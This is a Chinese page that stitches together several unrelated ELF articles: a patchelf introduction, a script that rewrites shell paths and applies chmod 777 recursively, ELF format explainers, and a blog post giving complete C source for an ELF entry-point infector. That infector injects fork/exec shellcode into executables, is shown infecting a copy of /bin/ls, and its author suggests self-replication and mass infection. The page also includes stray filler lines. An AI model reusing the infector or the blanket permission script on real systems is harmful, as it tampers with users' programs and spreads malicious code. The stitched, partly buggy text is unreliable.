精华内容
下载资源
问答
  • linux 修改 elf 文件的dynamic linker 和 rpath https://nixos.org/patchelf.html 下载地址 https://nixos.org/releases/patchelf/patchelf-0.9/patchelf-0.9.tar.gz ...

    linux 修改 elf 文件的dynamic linker 和 rpath

    https://nixos.org/patchelf.html

    下载地址

    https://nixos.org/releases/patchelf/patchelf-0.9/patchelf-0.9.tar.gz

    https://nixos.org/releases/patchelf/patchelf-0.9/patchelf-0.9.tar.bz2

    PatchELF

    PatchELF is a small utility to modify the dynamic linker and RPATH of ELF executables.

    Description

    Dynamically linked ELF executables always specify a dynamic linker or interpreter, which is a program that actually loads the executable along with all its dynamically linked libraries. (The kernel just loads the interpreter, not the executable.) For example, on a Linux/x86 system the ELF interpreter is typically the file /lib/ld-linux.so.2. It is sometimes necessary to use a different ELF interpreter, say, when you want to test a version of Glibc installed in a location other than /lib. And in the Nix Packages collection we build our own Glibc, which we obviously want to use. Building programs with a different interpreter is a matter of using the linker flag -dynamic-linker:

    gcc -Wl,-dynamic-linker,/my/lib/ld-linux.so.2 ...
    

    However, this doesn’t work with third-party binaries (such as Adobe Reader in Nixpkgs). This is where PatchELF comes in. You can simply rewrite the executable:

    patchelf --set-interpreter /my/lib/my-ld-linux.so.2 program
    

    This modifies the interpreter section of program to refer to the specified file. This is not quite trivial because the path of the new interpreter may be longer than the old one, in which case it won’t fit. PatchELF takes care of “growing” the executable with sufficient space at the beginning to contain the new interpreter field. As a result, the resulting program may be one page (4 KiB) larger.

    Likewise, you can change the RPATH, the linker search path embedded into executables and dynamic libraries:

    patchelf --set-rpath /opt/my-libs/lib:/foo/lib program
    

    This causes the dynamic linker to search in /opt/my-libs/lib and /foo/lib for the shared libraries needed by program. Of course, you could also set the environment variable LD_LIBRARY_PATH, but that’s often inconvenient as it requires a wrapper script to set up the environment.

    Finally, it is possible to remove unused paths from the RPATH:

    patchelf --shrink-rpath program
    

    A path is considered unused if none of the program’s library dependencies can be found in that path. This is primarily useful in the standard build environment of Nixpkgs, where it is used to get rid of unnecessary runtime dependencies.

    Compatibility

    PatchELF has been tested on i386-linux, x86_64-linux and powerpc-linux. It should definitely work on all 32 or 64-bit, big or little-endian Linux platforms. With minor modifications it should also work on other ELF platforms.

    Download

    The most recent stable release is PatchELF 0.9.

    Unstable releases

    You can get the latest source code of PatchELF from its Git repository. You can also download the latest pre-release, or view a list of all prereleases built in our build farm.

    Bugs

    You can report bugs in the issue tracker.

     

    复制代码

    $ ./patchelf --help
    syntax: ./patchelf
      [--set-interpreter FILENAME]
      [--page-size SIZE]
      [--print-interpreter]
      [--print-soname]		Prints 'DT_SONAME' entry of .dynamic section. Raises an error if DT_SONAME doesn't exist
      [--set-soname SONAME]		Sets 'DT_SONAME' entry to SONAME.
      [--set-rpath RPATH]
      [--remove-rpath]
      [--shrink-rpath]
      [--print-rpath]
      [--force-rpath]
      [--add-needed LIBRARY]
      [--remove-needed LIBRARY]
      [--replace-needed LIBRARY NEW_LIBRARY]
      [--print-needed]
      [--no-default-lib]
      [--debug]
      [--version]
      FILENAME

    复制代码

     

    ================= End

    展开全文
  • #!/bin/sh #****************************************************************************** # Change "/bin/sh" to "/system/bin/sh" # #******************************************************
    #!/bin/sh
    #******************************************************************************
    #           Change "/bin/sh" to "/system/bin/sh"
    #
    #*****************************************************************************/
    if [ $UID != 0 ]
    then
            echo "FAILED: Must have root access to execute this script"
            exit 0
    fi
    
    [ $# -ne 1 ] &&
    {
    	echo "usage: sudo ./${0##*/} <path>"
    	exit 0 
    }
    
    echo " "
    echo "grep -l -R \"/bin/sh\" $1 ..."
    echo " "
    files=$(grep -l -R "/bin/sh" $1 | sort)
    echo "start to  manipulate files: "
    echo " "
    for i in $files
        do
        {
    	filemeta=$(file $i | grep [eE][lL][fF])
    	#echo $filemeta
    	#echo $i
    	if [ -z "$filemeta" ] 
    	then
    	    echo $(file $i)
    	    sed -e "s/\/bin\/sh/\/system\/bin\/sh/g" $i > ${i}_bak; mv  ${i}_bak $i
    	    chmod 777 $i
    	    objectfile=`grep "/bin/sh" $i`
    	    echo $objectfile
    	fi
        } 
        done


    展开全文
  • 前面的文章在介绍如何将代码注入Linux内核模块的时候,我提到 “修改ELF文件或者PE文件的入口,让它跳到自己的逻辑”这件事很容易。 真的很容易吗?是的,真的很容易。本文就是要演示这个的。 还记得熊猫烧香病毒吧...

    前面的文章在介绍如何将代码注入Linux内核模块的时候,我提到 “修改ELF文件或者PE文件的入口,让它跳到自己的逻辑”这件事很容易。

    真的很容易吗?是的,真的很容易。本文就是要演示这个的。

    还记得熊猫烧香病毒吧,包括它在内的早期计算机病毒都是靠这种方式来注入自己的代码并实现自我复制的,当然,它不一定修改的是入口地址,但肯定是修改了ELF/PE文件。

    若想修改ELF文件,我们先要了解ELF文件的结构,这个只需要花10分钟大致浏览即可,本文不会花篇幅介绍ELF的相关概念。

    <elf.h>头文件里已经包含了足够的数据结构和API供我们对ELF可执行文件进行修改,我们用就是了。

    本文演示的例子很简单,就是感染一个既有的LEF可执行文件,首先,我们先提供该可执行文件的代码:

    // hello.c
    int main()
    {
    	printf("aaaaaaaaaaaaa\n");
    }
    

    我们将它编译成hello可执行文件。

    接下来我们尝试用另一个程序去修改它的入口,新的入口逻辑如下:

    if (fork() == 0) {
    	exec("/bin/aa");
    } else {
    	goto orig_entry;
    }
    

    我们肯定不能往ELF文件里直接注入C代码,就好像我们不能往血管里注射拉面汤一样。所以我们必须得到上述逻辑的汇编指令码。

    如何得到指令码呢?

    我们手工把上面的C逻辑写成内联汇编,然后在编译成可执行文件,通过objdump就能查到汇编指令码:

    void func()
    {
    	asm ("xor %rax, %rax;\n"
    		 "mov $0x39, %al;\n" // fork的系统调用号
    		 "syscall; \n"
    		 "test %eax, %eax;\n"
    		 "je exec;\n"
    		 "nop; nop; nop; nop; nop;\n" // jmp orig 的5字节占位指令,运行时待定
    		 "exec:\n"
    		 "mov $0x61612f6e69622f, %r11;\n"
    		 "push %r11\n;"
    		 "mov $0x0, %edx;\n"
    		 "mov $0x0, %rsi;\n"
    		 "mov %rsp, %rdi;\n"
    		 "mov $0x3b, %eax;\n"  // 填入exec的系统调用号
    		 "syscall;\n"
    		 "orig:\n"
    		);
    }
    
    void main()
    {
    	func();
    }
    

    编译好后通过objdump -D我们可以得到下面的指令:

    00000000004004cd <func>:
      4004cd:   55                      push   %rbp
      4004ce:   48 89 e5                mov    %rsp,%rbp
      4004d1:   48 31 c0                xor    %rax,%rax
      4004d4:   b0 39                   mov    $0x39,%al
      4004d6:   0f 05                   syscall
      4004d8:   85 c0                   test   %eax,%eax
      4004da:   74 05                   je     4004e1 <exec>
      4004dc:   90                      nop
      4004dd:   90                      nop
      4004de:   90                      nop
      4004df:   90                      nop
      4004e0:   90                      nop
    
    00000000004004e1 <exec>:
      4004e1:   49 bb 2f 62 69 6e 2f    movabs $0x61612f6e69622f,%r11
      4004e8:   61 61 00
      4004eb:   41 53                   push   %r11
      4004ed:   ba 00 00 00 00          mov    $0x0,%edx
      4004f2:   48 c7 c6 00 00 00 00    mov    $0x0,%rsi
      4004f9:   48 89 e7                mov    %rsp,%rdi
      4004fc:   b8 3b 00 00 00          mov    $0x3b,%eax
      400501:   0f 05                   syscall
    

    OK,我们将其整理后,会得到下面的stub_code数组:

    unsigned char stub_code[] =
    				"\x48\x31\xc0"									// xor    %rax,%rax
                    "\xb0\x39"										// mov    $0x39,%al
                    "\x0f\x05"										// syscall
    				"\x85\xc0"										// test   %eax,%eax
    				"\x74\x05"										// je     40070c <__FRAME_END__+0x14>
    				"\x00\x00\x00\x00\x00" // index is 11			// jmpq   400430 <_start>
    				"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00"		// movabs $0x61612f6e69622f,%r11
    				"\x41\x53"										// push   %r11
    				"\xba\x00\x00\x00\x00"							// mov    $0x0,%edx
    				"\x48\xc7\xc6\x00\x00\x00\x00"					// mov    $0x0,%rsi
    				"\x48\x89\xe7"									// mov    %rsp,%rdi
    				"\xb8\x3b\x00\x00\x00"							// mov    $0x3b,%eax
    				"\x0f\x05";										// syscall
    #define RELJMP	11
    

    原材料已经准备好,就等着将上面的数组里的字节码注入到hello程序了。

    在实施注入之前,说明两点。

    首先,注意上面的指令:

    movabs $0x61612f6e69622f,%r11
    push   %r11
    mov    %rsp,%rdi
    

    很明显,按照x86_64的函数调用参数规范,rdi寄存器里就是exec系统调用的第一个参数,即 “/bin/aa” ,但是exec的参数准备极其麻烦,且需要一个字符串,而我们知道,字符串是保存在ELF文件的单独的节的,我不想那么麻烦,再注入一个字符串,我只想注入一段代码,仅仅是代码,所以我这里取了个巧:

    // 我将字符串编码到了一个long型的数字里。
    char name[8] = {'/', 'b', 'i', 'n', '/', 'a', 'a', 0};
    char *pname;
    unsigned long pv = *(unsigned long *)&name[0];
    // 0x61612f6e69622f,即 aa/nib/,小端转换为/bin/aa
    pname = (char *)&pv; // pname就是aa
    

    同时,我利用了push来使得该long型数字的指针保存在rsp中,这样只需要下面的操作,rdi寄存器里就是exec的第一个参数了:

    push   %r11
    mov    %rsp,%rdi
    

    如此一来,就省去了复杂的字符串的保存和操作。好玩吗?在继续之前,/bin/aa到底是什么有必要揭露一下,它其实很简单,就是打印一句话:

    int main()
    {
        printf("rush tighten beat electric discourse\n"); // “赶紧打电话”的意思
    }
    

    我们希望的效果就是,所有被感染的程序(在我们的例子中,就是hello),在执行的时候,都会打印这么一句“赶紧打电话”的句子。

    OK,让我们继续。

    是时候给出修改entry的代码了,还是那句话,我不敢保证这个代码完全没有bug,但它足够简单,且能工作,为了展示效果,简单是最重要的。

    代码如下:

    #include <stdio.h>
    #include <fcntl.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <elf.h>
    
    unsigned char stub_code[] =
    				"\x48\x31\xc0"									// xor    %rax,%rax
    				"\xb0\x39"										// mov    $0x39,%al
    				"\x0f\x05"										// syscall
    				"\x85\xc0"										// test   %eax,%eax
    				"\x74\x05"										// je     40070c <__FRAME_END__+0x14>
    				"\x00\x00\x00\x00\x00" // index is 11			// jmpq   400430 <_start>
    				"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00"		// movabs $0x61612f6e69622f,%r11
    				"\x41\x53"										// push   %r11
    				"\xba\x00\x00\x00\x00"							// mov    $0x0,%edx
    				"\x48\xc7\xc6\x00\x00\x00\x00"					// mov    $0x0,%rsi
    				"\x48\x89\xe7"									// mov    %rsp,%rdi
    				"\xb8\x3b\x00\x00\x00"							// mov    $0x3b,%eax
    				"\x0f\x05";										// syscall
    #define RELJMP	11
    
    int main(int argc, char **argv)
    {
    	int fd, i;
    	unsigned char *base;
    	unsigned int size, *off, offs;
    	unsigned long stub, orig;
    	unsigned long clen = sizeof(stub_code);
    	Elf64_Ehdr *ehdr;
    	Elf64_Phdr *phdrs;
    
    	// 这就是一个e9 jmp rel32指令
    	stub_code[RELJMP] = 0xe9;
    	off = (unsigned int *)&stub_code[RELJMP + 1];
    
    	fd = open(argv[1], O_RDWR);
    	size = lseek(fd, 0, SEEK_END);
    	base = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
    
    	ehdr = (Elf64_Ehdr *) base;
    	phdrs = (Elf64_Phdr *) &base[ehdr->e_phoff];
    	shdrs = (Elf64_Shdr *) &base[ehdr->e_shoff];
    	orig = ehdr->e_entry;
    
    	for (i = 0; i < ehdr->e_phnum; ++i) {
    		if (phdrs[i].p_type == PT_LOAD && phdrs[i].p_flags == (PF_R|PF_X)) {
    			// 这里假设只有简单的一个可执行的程序头
    			stub = phdrs[i].p_vaddr + phdrs[i].p_filesz;
    			ehdr->e_entry = (Elf64_Addr)stub;
    			// 为了跳回原来的入口,这里需要计算相对偏移
    			offs = orig - (stub + RELJMP) - 5;
    			// 待定的rel32终究被赋值了
    			*off = offs;
    
    			memcpy(base + phdrs[i].p_offset + phdrs[i].p_filesz, stub_code, clen);
    			printf("fsie:%d   %08x\n", phdrs[i].p_filesz, ehdr->e_entry);
    
    			phdrs[i].p_filesz += clen;
    			phdrs[i].p_memsz += clen;
    			break;
    		}
        }
        munmap(base, size);
    }
    

    开始吧!来吧!

    [root@localhost modentry]# cat test-1
    gcc hello.c -o hello
    gcc modelf.c -o modelf
    ./modelf ./hello
    [root@localhost modentry]# ./test-1
    hello.c: 在函数‘main’中:
    hello.c:3:2: 警告:隐式声明与内建函数‘printf’不兼容 [默认启用]
      printf("aaaaaaaaaaaaa\n");
      ^
    fsie:1788   004006fc
    [root@localhost modentry]# ./hello
    aaaaaaaaaaaaa
    rush tighten beat electric discourse
    [root@localhost modentry]# ./hello
    aaaaaaaaaaaaa
    [root@localhost modentry]# rush tighten beat electric discourse
    
    [root@localhost modentry]# ./hello
    aaaaaaaaaaaaa
    [root@localhost modentry]# rush tighten beat electric discourse
    

    成功感染!

    让我们感染一个系统的命令看如何:

    [root@localhost modentry]# cp /bin/ls ./
    [root@localhost modentry]# ./modelf ./ls
    fsie:103980   0041962c
    [root@localhost modentry]# ./ls
    hello  hello.c  ls  modelf  modelf.c	nop  pwd  test-1 
    rush tighten beat electric discourse
    

    成功感染!

    我上面的感染代码非常简单,你可能觉得是错的。没错,它就是错的,因为它寄希望于程序后面有空余的空间,我甚至没有修改section的大小和文件的大小,我们发现,在注入感染前后,文件的大小并没有变化,而且还有更好 副作用

    [root@localhost modentry]# /bin/ls
    hello  hello.c  ls  modelf  modelf.c	nop  pwd  test-1  
    [root@localhost modentry]# objdump -D /bin/ls >./lsdump1
    [root@localhost modentry]# ./ls
    hello  hello.c  ls  lsdump1  modelf  modelf.c  nop  pwd  test-1
    rush tighten beat electric discourse
    [root@localhost modentry]# objdump -D ./ls >./lsdump2
    [root@localhost modentry]#
    [root@localhost modentry]# diff lsdump1 lsdump2
    2c2
    < /bin/ls:     文件格式 elf64-x86-64
    ---
    > ./ls:     文件格式 elf64-x86-64
    

    我们看到,其objdump的结果没有任何区别。而如果我们把程序做完善了,反而更容易暴露,如果我在modelf.c中增加adjust sections size的操作,那么可执行文件被感染之后,objdump的结果将会多出下面的内容:

    00000000004006f8 <__FRAME_END__>:
      4006f8:   00 00                   add    %al,(%rax)
      4006fa:   00 00                   add    %al,(%rax)
      4006fc:   48 31 c0                xor    %rax,%rax
      4006ff:   b0 39                   mov    $0x39,%al
      400701:   0f 05                   syscall
      400703:   85 c0                   test   %eax,%eax
      400705:   74 05                   je     40070c <__FRAME_END__+0x14>
      400707:   e9 24 fd ff ff          jmpq   400430 <_start>
      40070c:   49 bb 2f 62 69 6e 2f    movabs $0x61612f6e69622f,%r11
      400713:   61 61 00
      400716:   41 53                   push   %r11
      400718:   ba 00 00 00 00          mov    $0x0,%edx
      40071d:   48 c7 c6 00 00 00 00    mov    $0x0,%rsi
      400724:   48 89 e7                mov    %rsp,%rdi
      400727:   b8 3b 00 00 00          mov    $0x3b,%eax
      40072c:   0f 05                   syscall
    

    仔细看,是不是我们注入的代码呢?

    最后,我要解释一下,为什么要调用exec执行外部程序呢?直接把代码灌进去不是更直接吗?

    是的,这个我肯定知道,但是:

    1. 这只是演示程序,我不想在单独的stub_code里搞得太复杂而失去可玩性。
    2. 由于entry处尚未初始化libc以及库函数,因此调用printk可能会出现问题。
    3. 在stub_code里做打印操作,会让字节码变得非常冗余复杂。

    然而,我的目标已经彰显,如果不怕费事,完全可以在stub_code里塞入下面的逻辑:

    • 扫描系统所有的可执行文件,注入每一个可执行文件本文展示的代码。
    • 代码添加自我复制功能。

    为经理下订单,购买¥18000的皮鞋以及¥49800的西裤,货到付款。


    浙江温州皮鞋湿,下雨进水不会胖。

    展开全文
  • ELF文件

    2017-03-19 11:24:15
    1.ELF文件类型 ELF的文件类型主要有三种,可重定位的目标文件、可执行的目标文件、可被共享的目标文件。 (1)可重定位的目标文件 由汇编器生成的.o文件,链接器拿一个或者一些可重定位的目标文件作为输入,经过...

     

            ELF是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储的标准文件格式。


    1.ELF文件类型

    ELF的文件类型主要有三种,可重定位的目标文件、可执行的目标文件、可被共享的目标文件。

    (1)可重定位的目标文件

    由汇编器生成的.o文件,链接器拿一个或者一些可重定位的目标文件作为输入,经过链接处理后,生成一个可执行的目标文件或者一个可被共享的对象文件.so,可以使用ar工具将众多的.o文件归档archive成.a静态库文件。


           (2)可执行的目标文件

    文件编辑器vi、调试工具gdb等都是可执行的目标文件,此类文件规定了如何利用exec()创建一个程序的进程映像。当然shell脚本可不是执行的目标文件,他们只是文本文件,需要解析器执行。

           (3) 可被共享的目标文件

    如动态库文件.so,如果拿前面的静态库来生成可执行程序,则每个可执行程序都会有一份代码拷贝,如果在磁盘中存储这些可执行程序,那就会占用额外的磁盘空间,另外如果把他们放到linux系统上一起运行,也会浪费掉宝贵的物理内存,如果将静态库换成动态库,那么问题就不会出现。

             动态库在发挥作用的过程中,必须经过两个步骤,:1.链接器拿他和其他可重定位的文件.o文件以及其他.so文件作为输入,经过链接处理后,生成另外的可共享的目标文件.so文件或者可执行的目标文件。2.在运行时,动态链接库拿它和一个可执行的目标文件以及另外一些可共享的目标文件.so来一起处理,在linux系统里面创建一个进程映像。


    2. 视图下的ELF文件

    链接视图

    执行视图

    ELF头部

    ELF头部

    程序头部表(可选)

    程序头部表

    节区1

    节区1

    ...

     

    节区n

    节区n

    ...

    ...

    节区头部表

    节区头部表(可选)



    ELF的链接视图和执行视图是不一样的,ELF文件格式主要用于两种场合,1.组成可重定位文件,用于链接成可执行文件或者动态库,2.组成可执行文件或者动态库,在运行时需要内存中进程映像构建。


    因此,左边表示的可重定位的文件格式,右边则表示可执行文件或者可被共享的对象文件格式。


    ELF文件头被固定地放在不同类对象文件的最前面,我们可以使用file命令来看文件属于哪种ELF文件。



    以上都显示了hello1.o 、hello_main.o都为可重定位文件(relocatable),libmyhello.so是可被共享文件(shared object),helloworld为可执行文件(executable)


    3.ELF头部

    可以用         readelf -h 文件

    读取ELF文件头的信息。




    显示文件头大小52字节

    3.1 进入点

    hello_main.o的进入点(Entry point address)为0x0,说明没有进入点(所谓的进入点,就是程序执行时,第一条指令地址)。可重定位文件主要用于链接,不需要提供进入点。

    但是可执行文件及动态库存在进入点。

    可执行文件helloworld的进入点e_entry执行C库的_start




    动态库libmyhello.so的进入点指向call_gmon_start



    3.2 节区

    hello_main.o有20个section节区,但program headers的数量为0

      Number of section headers:         20

     Number of program headers:         0


    可执行文件helloworld、动态库libmyhello.so的program headers的数量不为0

    helloworld

      Number of program headers:         9

    libmyhello.so

      Number of program headers:         7


    继续说section,section是在ELF里面用以装载内容数据的最小容器,每一个section里面都装载了性质属性一样的内容,比如


    (1)text section里装载了可执行代码。

    (2)data section里装载了被初始化的数据。

    (3)bss section里装载了未被初始化的数据。

    (4)以 .rec 打头的section里面装载了重定位条目。

    (5)symtab或者dynsym section里面装载了符号信息。

    (6)strtab或者dynstr section里面装载了字符串信息。

    (7)其他


    查看可重定位文件hello_main.o的section表的内容,执行 readelf -S hello_main.o  ,如下图




    19个节区,由于hello_main.o仅仅参与链接的可重定位文件,而不参与最后 的进程映像的构建,所以19个节区的addr都为0。

    offset表示了该section与文件头部位置的距离,size表示section的字节大小,entsizie只对某些形式的sections有意义,如.symtab section,其内部都包含了一个表格,表格的

    每一个条目都是特定长度的,此时就是表示条目的长度为10,Align是地址对齐要求,flag里的标志,比如X是可执行的,W是可写的,bss和data都是可写,A(allocable)表示可分配的


    可以使用        readelf -x secnum 文件名      命令来打印不同的section的内容



    3.2.1  ELF .text section

    readelf -x secnum 文件名 看到的节区的机器码,可读性差,因此我们可以换个工具来看,使用objdump,执行

    objdump -d -j .text 文件名 





    3.2.2  ELF .data section





    修改代码,增加初始化的数据



    重新编译后,再看.o文件




    3.2.3  ELF .strtab section

    .strtab的序号是19,因此执行readelf -x 19 hello_main.o



    该分区主要存的函数名称、变量名称等



    3.2.4  ELF .symtab section

    符号表节区对调试来说比较有用,执行 readelf -x 18 hello_main.o,得到的结果可读性极差





    但是可以使用readelf -s 18 hello_main.o  (小写s),看到了所有函数名、变量名。




    在实际中常常用来测试有没有编译到某个函数等,如




    4.执行视图下的ELF内容

    以上第三部分专门讲了链接视图,接下来第四部分我们讲下执行视图


    readelf -l helloworld    显示helloworld程序头信息,共有8个segment, R代表可读,E代表可执行,



    其中,类型 INTERP 的 segment  只包含一个section,即.interp,包含了动态连接过程中所使用的解析器路径和名称,在linux里面,这个解释器实际是/lib/。

    我们的程序需要用到动态链接库.so时,在shell键入命令执行时,内核会创建一个新的进程,在这个新进程的进程空间里面加载进可执行程序的代码段和数据段后,

    也会加载进动态连接器(/lib/ld-linux.so符号链接指向的那个程序),加载完毕,动态连接器才将控制传递给应用程序的main函数。





    展开全文
  • 前面章节我们了解了ELF文件的头部结构,这次我们深入了解另一个非常重要的数据结构,那就是程序表头。操作系统严重依赖该结构来加载ELF文件或是实现动态链接。程序表头反映的是当ELF加载到内存后所形成的“视图”或...
  • ELF文件头读取修改

    千次阅读 2012-03-12 10:30:04
    ELF = Executable and Linkable Format,可执行连接格式,是UNIX...ELF 文件有三种类型:可重定位文件:也就是通常称的目标文件,后缀为.o。共享文件:也就是通常称的库文件,后缀为.so。可执行文件:本文主要讨论的
  • ELF文件详解

    千次阅读 2017-08-27 00:51:56
    ELF文件详解ELF
  • 增加或修改 ELF 文件正是入侵者植入恶意代码的常用途径。本文将描述一种 Linux 下 ELF 文件的代码签名及验证机制的设计与实现,这种机制能有效防止基于 ELF 文件的恶意代码的入侵,并同时提供了灵活的分级验证机制,...
  • ELF文件类型 首先ELF文件可以被标记为以下几个类型: ET_NONE:未知类型。 ET_REL:重定位文件,类型标记为relocatable意为着该文件被标记为了一段可重定位的代码段,有时也称为目标文件。可重定位目标文件通常是还...
  • ELF文件结构描述

    2019-10-24 16:20:31
    ELF目标文件格式最前部ELF文件头(ELF Header),它包含了描述了整个文件的基本属性,比如ELF文件版本、目标机器型号、程序入口地址等。其中ELF文件与段有关的重要结构就是段表(Section Header Tab...
  • ELF文件格式

    2018-08-12 13:10:21
    0x01 ELF文件简介 常用的一般为下面三种: * 可重定位文件(.o):用于与其他目标文件连接生成可执行文件或共享目标文件(.so)的数据与代码; * 可执行文件(.exe):包含一个可执行程序,并且此文件规定exec()...
  • elf文件分析

    2018-12-23 22:32:32
    而这些操作都和elf文件格式有着莫大的联系,所以在出模块加载过程分析的文档之前,先分析一下elf文件。 elf全称executable and linkable format,是一种可执行文件、目标文件和库使用的文件的格式。替代了早年的a....
  • ELF文件与链接

    2019-06-22 15:31:36
    什么是ELF文件 ELF文件头部格式 ELF在计算机科学中,是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件。是UNIX系统实验室(USL)作为应用程序二进制接口(Application Binary Interface,...
  • ELF文件格式解析

    万次阅读 多人点赞 2016-05-21 11:28:55
    ELF文件格式说明。
  • 在 Linux 中修改一个现有的 elf 文件

    千次阅读 2018-05-12 20:01:19
    在Linux中下修改一个现有的elf可执行程序 首先了解 elf 文件结构: 可重定位文件: 包含适合于与其他目标文件链接来创建可执行文件或者共享目标文件的代码和数据。 可执行文件: 包含适合于执行的一个程序,此文件...
  • ELF文件-逆向工具

    千次阅读 2017-09-01 18:09:11
    本文转载自... 1、ELF文件内容解析 readelf: 可解析ELF文件的所有内容; strings: 查看ELF文件中的字符串; file : 查看ELF文件的信息; nm : 查看ELF文件中的符号信息; ldd : 查看ELF文件所依赖的库
  • ELF文件解析

    千次阅读 2020-01-25 16:34:38
    ELF文件格式 ELF (Executable and Linkable Format)是 UNIX 类操作系统中普遍采用的目标文件格式, 分为三种类型: 1、可重定位文件 (Relocatable File)包含适合于与其他目标文件链接来创建可执行文件或者共享目标...
  • ...tar -zxf patchelf-0.8.tar.bz2 cd patchelf-0.8 ./configure --prefix=/usr make && make install ... 不过chrpath 有个缺陷,如果当前系统为x86_64,则修改i386 elf会报错,patchelf则无此问题!
  • ELF文件分析

    2016-07-09 09:49:32
    ELF(Executable and Linkable Format)即可执行连接文件格式,是一种比较复杂的文件格式,但其应用广泛。与linux下的其他可执行文件(a.out,cof)相比,它...另外后面介绍了几种常用的对elf文件进行操作的工具,并且对其
  • ELF文件加固

    千次阅读 2017-07-27 19:26:11
    0x01 ELF文件介绍 APK里的.so文件即ELF文件(Executable and Linking Format)最初是由 UNIX 系统实验室(UNIX System Laboratories,USL)开发并发布的,作为应用程序二进制接口(Application Binary Interface,...
  • 扒一扒ELF文件

    2021-01-30 22:46:47
    ELF文件(Executable Linkable Format)是一种文件存储格式。Linux下的目标文件和可执行文件都按照该格式进行存储,有必要做个总结。 文章目录1. 链接举例2. ELF文件类型2.1 可重定位目标文件(.o文件)2.2 可执行...
  • ELF文件格式详解

    万次阅读 2016-07-21 00:36:58
    ARM的可执行文件的格式是ELF格式文件,下文对ELF格式做个详细的介绍。 序言 1. OBJECT文件  导言  ELF头(ELF Header)  Sections  String表(String Table)  Symbol表(Symbol Table)  重定位(Relocation) 2. ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 34,717
精华内容 13,886
关键字:

修改elf文件